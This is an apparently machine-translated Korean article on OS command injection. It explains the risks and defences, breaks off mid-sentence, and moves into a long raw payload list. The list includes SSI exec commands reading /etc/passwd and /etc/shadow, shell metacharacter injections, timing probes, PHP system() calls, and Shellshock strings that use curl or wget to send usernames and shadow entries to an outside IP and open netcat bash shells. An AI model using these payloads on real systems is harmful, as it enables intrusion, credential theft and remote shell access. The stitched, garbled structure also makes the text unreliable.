명령 주입은 목표가 취약한 애플리케이션을 통해 호스트 운영 체제에서 임의의 명령을 실행하는 공격입니다. 애플리케이션이 안전하지 않은 사용자 제공 데이터 (양식, 쿠키, HTTP 헤더 등)를 시스템 쉘에 전달할 때 명령 주입 공격이 가능합니다. 이 공격에서 공격자가 공급하는 운영 체제 명령은 일반적으로 취약한 응용 프로그램의 권한으로 실행됩니다. 입력 유효성이 부족하기 때문에 명령 주입 공격은 크게 가능합니다.
이 공격은 코드 주입과 다르기 때문에 코드 주입을 통해 공격자는 자신의 코드를 추가 한 다음 응용 프로그램에서 실행할 수 있습니다. 명령 주입에서 공격자는 코드 주입없이 시스템 명령을 실행하는 응용 프로그램의 기본 기능을 확장합니다.
OS Command Injection은 공격자가 영향을받는 웹 사이트 및 기본 웹 서버를 완전히 제어 할 수있는 중요한 취약점입니다.
OS 명령 주입 취약점은 응용 프로그램이 사용자 데이터를 실행하는 운영 체제 명령에 통합 할 때 발생합니다. 공격자는 데이터를 조작하여 자신의 명령을 실행할 수 있습니다. 이를 통해 공격자는 모든 데이터를 읽거나 수정하고 권한있는 작업을 수행하는 것을 포함하여 응용 프로그램 자체가 수행 할 수있는 모든 조치를 수행 할 수 있습니다.
웹 서버 자체의 전체 타협 외에도 공격자는 명령 주입 취약성을 활용하여 조직의 내부 인프라의 공격을 피봇하여 웹 서버가 액세스 할 수있는 모든 시스템에 액세스 할 수 있습니다. 또한 조직 내에서 지속적인 발판을 만들 수 있으며 원래 취약점이 수정 된 후에도 타협 된 시스템에 계속 액세스 할 수 있습니다.
운영 체제 명령 주입 취약점은 응용 프로그램이 사용자 제어 가능한 데이터를 Shell Command Interpreter가 처리하는 명령에 통합 할 때 발생합니다. 사용자 데이터가 엄격하게 검증되지 않으면 공격자는 Shell Metacharacters를 사용하여 실행 된 명령을 수정하고 서버에서 실행할 임의의 추가 명령을 주입 할 수 있습니다.
OS 명령 주입 취약점은 일반적으로 매우 심각하며 응용 프로그램을 호스팅하는 서버 또는 응용 프로그램의 데이터 및 기능이 손상 될 수 있습니다. 서버를 다른 시스템에 대한 공격을위한 플랫폼으로 사용하는 것도 가능할 수도 있습니다. 이용의 정확한 잠재력은 명령이 실행되는 보안 컨텍스트와 서버의 민감한 리소스와 관련 하여이 컨텍스트의 권한에 따라 다릅니다.
가능하면 응용 프로그램은 사용자 제어 가능한 데이터를 운영 체제 명령에 통합하지 않아야합니다. 거의 모든 상황에서는 서버 레벨 작업을 수행하는보다 안전한 대체 방법이 있으며,이 방법은 의도 한 것보다 추가 명령을 수행하도록 조작 할 수 없습니다.
사용자가 제공 한 데이터를 운영 체제 명령에 통합하는 것이 불가피한 것으로 간주되면 다음 두 가지 방어 계층을 사용하여 공격을 방지해야합니다.
사용자 데이터는 엄격하게 검증되어야합니다. 이상적으로는 특정 허용 값의 화이트리스트를 사용해야합니다. 그렇지 않으면 짧은 영숫자 문자열 만 허용해야합니다. 상상할 수있는 쉘 메타 카라 스터 또는 공백을 포함한 다른 데이터를 포함하는 입력을 거부해야합니다.
응용 프로그램은 명령 문자열을 명령 체인 및 리디렉션을 지원하는 쉘 통역사에게 전달하는 대신 이름 및 명령 줄 매개 변수를 통해 특정 프로세스를 시작하는 명령 API를 사용해야합니다. 예를 들어, Java API Runtime.Exec 및 ASP.NET API Process.Start는 Shell Metacharacters를 지원하지 않습니다. 이 방어는 완화 할 수 있습니다
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
<!--#exec%20cmd="/usr/bin/id;-->
<!--#exec%20cmd="/usr/bin/id;-->
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
|id
|/usr/bin/id
|id|
|/usr/bin/id|
||/usr/bin/id|
|id;
||/usr/bin/id;
;id|
;|/usr/bin/id|
n/bin/ls -aln
n/usr/bin/idn
nidn
n/usr/bin/id;
nid;
n/usr/bin/id|
nid|
;/usr/bin/idn
;idn
|usr/bin/idn
|nidn
`id`
`/usr/bin/id`
a);id
a;id
a);id;
a;id;
a);id|
a;id|
a)|id
a|id
a)|id;
a|id
|/bin/ls -al
a);/usr/bin/id
a;/usr/bin/id
a);/usr/bin/id;
a;/usr/bin/id;
a);/usr/bin/id|
a;/usr/bin/id|
a)|/usr/bin/id
a|/usr/bin/id
a)|/usr/bin/id;
a|/usr/bin/id
;system('cat%20/etc/passwd')
;system('id')
;system('/usr/bin/id')
%0Acat%20/etc/passwd
%0A/usr/bin/id
%0Aid
%0A/usr/bin/id%0A
%0Aid%0A
& ping -i 30 127.0.0.1 &
& ping -n 30 127.0.0.1 &
%0a ping -i 30 127.0.0.1 %0a
`ping 127.0.0.1`
| id
& id
; id
%0a id %0a
`id`
$;/usr/bin/id
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=`whoami`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=`pwd`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=`uname -a`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=`nc -lvvp 1234 -e /bin/bash`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=`nc -lvvp 1236 -e /bin/bash &`"
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=`whoami`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=`pwd`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=`grep root /etc/shadow`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=`uname -a`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=`nc -lvvp 1235 -e /bin/bash`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=`nc -lvvp 1237 -e /bin/bash &`"
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
cat /etc/hosts
$(`cat /etc/passwd`)
cat /etc/passwd
%0Acat%20/etc/passwd
{{ get_user_file("/etc/passwd") }}
<!--#exec cmd="/bin/cat /etc/passwd"-->
<!--#exec cmd="/bin/cat /etc/shadow"-->
<!--#exec cmd="/usr/bin/id;-->
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>